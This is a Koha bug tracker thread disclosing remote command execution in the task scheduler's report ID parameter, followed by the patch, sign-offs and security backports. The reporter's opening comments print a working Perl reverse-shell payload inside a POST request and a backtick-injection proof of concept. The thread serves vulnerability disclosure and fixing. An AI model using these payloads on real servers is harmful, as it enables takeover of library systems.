Bug 39170

Summary: Remote code execution within task scheduler
Product: Koha Reporter: Craig Fairman <fairman48>
Component: ToolsAssignee: David Cook <dcook>
Status: RESOLVED FIXED QA Contact: Marcel de Rooy <m.de.rooy>
Severity: major    
Priority: P5 - low CC: alexbuckley, bc, dcook, didier.gautheron, fairman48, fridolin.somers, jesse, jonathan.druart, katrin.fischer, laurent.ducos, lisette, lucas, m.de.rooy, martin.renvoize, nick, paul.derscheid, phil, philippe.blouin, tomascohen
Version: Main   
Hardware: All   
OS: All   
GIT URL: Change sponsored?: ---
Patch complexity: Trivial patch Documentation contact:
Documentation submission: Text to go in the release notes:
Version(s) released in:
25.05.00,24.11.02,24.05.07,23.11.12,22.11.24
Circulation function:
Attachments: Bug 39170: Improve validation of report ID
Bug 39170: Improve validation of report ID
Bug 39170: Improve validation of report ID
Bug 39170: Improve validation of report ID

Description Craig Fairman 2025-02-19 17:26:59 UTC
Within Koha 24.05.04.000 the task scheduler function POST /cgi-bin/koha/tools/scheduler.pl is vulnerable to a remote code execution vulnerability.

The report ID parameter can be escaped, allowing for code execution and subsequently a reverse shell, as seen below:

csrf_token=3ae36b7f644a8ff024fca82b833a4045369bf963,69170caee9b97c0952c9339f367788ffd0430dfa,1739974697&op=cud-add&starttime=16:33&startdate=&report=19012025```perl -e 'use Socket;$i="127.0.0.1";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
```&format=text&email=test@test.test
Comment 1 Craig Fairman 2025-02-19 17:36:28 UTC
(In reply to fairman48 from comment #0)
> Within Koha 24.05.04.000 the task scheduler function POST
> /cgi-bin/koha/tools/scheduler.pl is vulnerable to a remote code execution
> vulnerability.
> 
> The report ID parameter can be escaped, allowing for code execution and
> subsequently a reverse shell, as seen below:
> 
> csrf_token=3ae36b7f644a8ff024fca82b833a4045369bf963,
> 69170caee9b97c0952c9339f367788ffd0430dfa,1739974697&op=cud-add&starttime=16:
> 33&startdate=&report=19012025```perl -e 'use
> Socket;$i="127.0.0.1";$p=443;socket(S,PF_INET,SOCK_STREAM,
> getprotobyname("tcp"));if(connect(S,sockaddr_in($p,
> inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
> exec("/bin/bash -i");};'
> ```&format=text&email=test@test.test


I would like to submit this as a CVE, but I will wait for your approval.
Comment 2 Craig Fairman 2025-02-19 22:34:27 UTC
Reposting with further details for clarification:

Koha is vulnerable to authenticated RCE via the tools/scheduler.pl file.

The user-supplied $report variable is interpolated into the $command variable without any form of validation or sanitisation being done on it. This effects all versions of Koha, up to and including the latest release, which at the time of this writing is 24.11.01-2.

Lines 92-94 of the current tools/scheduler.pl file are specifically where the vulnerability is introduced:

my $command =
      "export KOHA_CONF=\"$CONFIG_NAME\"; "
    . "$base/cronjobs/runreport.pl $report --format=$format --to='$email'";

A proof-of-concept involves specifying a valid report ID (checked on lines 67-73) followed by a set of triple backticks to facilitate command injection, like so:

csrf_token=...&op=cud-add&starttime=16:33&startedate=&report=19012025`​`​`echo 1 > /dev/shm/rce.txt`​`​`&format=text&email=test@test.test

During an engagement I was able to utilise this bug to establish a reverse shell on a client's server.
Comment 3 David Cook 2025-02-19 23:43:18 UTC
Taking a look now and will tell you more in a minute.
Comment 4 David Cook 2025-02-19 23:45:22 UTC
(In reply to Craig Fairman from comment #2)
> A proof-of-concept involves specifying a valid report ID (checked on lines
> 67-73) followed by a set of triple backticks to facilitate command
> injection, like so:

Can you describe your proof-of-concept further? 

If you're doing a GET request for this, it sounds like your client wasn't "Plack-enabled" and thus didn't have the CSRF protection to prevent this state change.
Comment 5 David Cook 2025-02-19 23:46:40 UTC
I'll look at a Plack-disabled CGI only instance as well, in any case. But just looking for as much info as possible.
Comment 6 David Cook 2025-02-19 23:49:37 UTC
Yeah, no, even with Plack disabled that GET request isn't possible. 

So I'm assuming we're doing a POST via the form?
Comment 7 Craig Fairman 2025-02-19 23:50:53 UTC
It’s via POST to /cgi-bin/koha/tools/scheduler.pl
Comment 8 David Cook 2025-02-20 00:00:24 UTC
(In reply to Craig Fairman from comment #7)
> It’s via POST to /cgi-bin/koha/tools/scheduler.pl

Ok but can you describe your actual proof-of-concept? What's your hypothetical scenario of someone trying to exploit this vulnerability?

For instance, if I go to /cgi-bin/koha/tools/scheduler.pl, I have to manually change the HTML using the F12 tools to change <select name="report" id="report"> to <input type="text" name="report" id="report"/> and then put in my payload into the text box.

Most of my attempts fail to get added, but it did work once...
Comment 9 David Cook 2025-02-20 00:01:18 UTC
I've opted for a less malicious payload and now I can get it to work more reliably, and from a code review I do see the problem. Not sure how this didn't get picked up earlier.
Comment 10 David Cook 2025-02-20 00:06:44 UTC
Created attachment 178382 [details] [review]
Bug 39170: Improve validation of report ID

This change improves the validation of the report ID passed by the user.

Test plan:
0. Apply the patch
1. koha-plack --restart kohadev
2. Create a SQL report
3. Go to /cgi-bin/koha/tools/scheduler.pl
4. Add in a Time, Date, and Email
5. Choose your report from the list
6. Click "Save"
7. Note that your report is saved
Comment 12 David Cook 2025-02-20 00:09:35 UTC
@Craig, can you try out the patch I've posted?
Comment 13 David Cook 2025-02-20 00:11:57 UTC
Created attachment 178383 [details] [review]
Bug 39170: Improve validation of report ID

This change improves the validation of the report ID passed by the user.

Test plan:
0. Apply the patch
1. koha-plack --restart kohadev
2. Create a SQL report
3. Go to /cgi-bin/koha/tools/scheduler.pl
4. Add in a Time, Date, and Email
5. Choose your report from the list
6. Click "Save"
7. Note that your report is saved
Comment 14 Craig Fairman 2025-02-20 00:34:16 UTC
My proof-of-concept scenario is that anyone with access to the task scheduler functionality can compromise the server. It's a little difficult to accomplish with just a browser, but anyone looking to exploit a server running your software in this manner will be using the appropriate tooling, which makes it trivial to exploit.

I'm not able to actually test these changes as I don't have the necessary access to the client environment that I found the issue in, but after reviewing your patch and doing some local testing I'm confident that this change would indeed fix the issue completely.

Once the patch has been merged, would it be alright if I were to submit this issue as a CVE?
Comment 15 David Cook 2025-02-20 00:48:41 UTC
(In reply to Craig Fairman from comment #14)
> My proof-of-concept scenario is that anyone with access to the task
> scheduler functionality can compromise the server. It's a little difficult
> to accomplish with just a browser, but anyone looking to exploit a server
> running your software in this manner will be using the appropriate tooling,
> which makes it trivial to exploit.

I think that you misunderstand me. I was asking how you specifically exploited it, so that I could easily replay the attack. But don't worry about it. I see what the problem is, so it's all good. 

I wouldn't say that it's trivial to exploit, since there's a number of layers in the way, but it would be easy for a determined attacker who already possesses admin access to exploit this.

> I'm not able to actually test these changes as I don't have the necessary
> access to the client environment that I found the issue in, but after
> reviewing your patch and doing some local testing I'm confident that this
> change would indeed fix the issue completely.

Thanks. I'll get some other devs to test and push it along the process here.
 
> Once the patch has been merged, would it be alright if I were to submit this
> issue as a CVE?

Yes, and if you could post the CVE ID here after that would be great.
Comment 16 Phil Ringnalda 2025-02-20 23:56:37 UTC
Created attachment 178442 [details] [review]
Bug 39170: Improve validation of report ID

This change improves the validation of the report ID passed by the user.

Test plan:
0. Apply the patch
1. koha-plack --restart kohadev
2. Create a SQL report
3. Go to /cgi-bin/koha/tools/scheduler.pl
4. Add in a Time, Date, and Email
5. Choose your report from the list
6. Click "Save"
7. Note that your report is saved

Signed-off-by: Phil Ringnalda <phil@chetcolibrary.org>
Comment 17 Marcel de Rooy 2025-02-21 07:27:38 UTC
Created attachment 178444 [details] [review]
Bug 39170: Improve validation of report ID

This change improves the validation of the report ID passed by the user.

Test plan:
0. Apply the patch
1. koha-plack --restart kohadev
2. Create a SQL report
3. Go to /cgi-bin/koha/tools/scheduler.pl
4. Add in a Time, Date, and Email
5. Choose your report from the list
6. Click "Save"
7. Note that your report is saved

Signed-off-by: Phil Ringnalda <phil@chetcolibrary.org>

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Comment 18 Fridolin Somers 2025-02-24 13:20:37 UTC
Pushed to 23.11.x-security for v23.11.12
Comment 19 Jesse Maseto 2025-02-24 16:28:57 UTC
Please rebase for 22.11.x
Comment 20 Jesse Maseto 2025-02-24 17:07:49 UTC
Applied to 22.11.x-security
Comment 21 Paul Derscheid 2025-02-24 18:58:46 UTC
Applied to 24.11.x-security
Comment 22 Alex Buckley 2025-02-24 21:40:31 UTC
Applied to 24.05.x-security branch.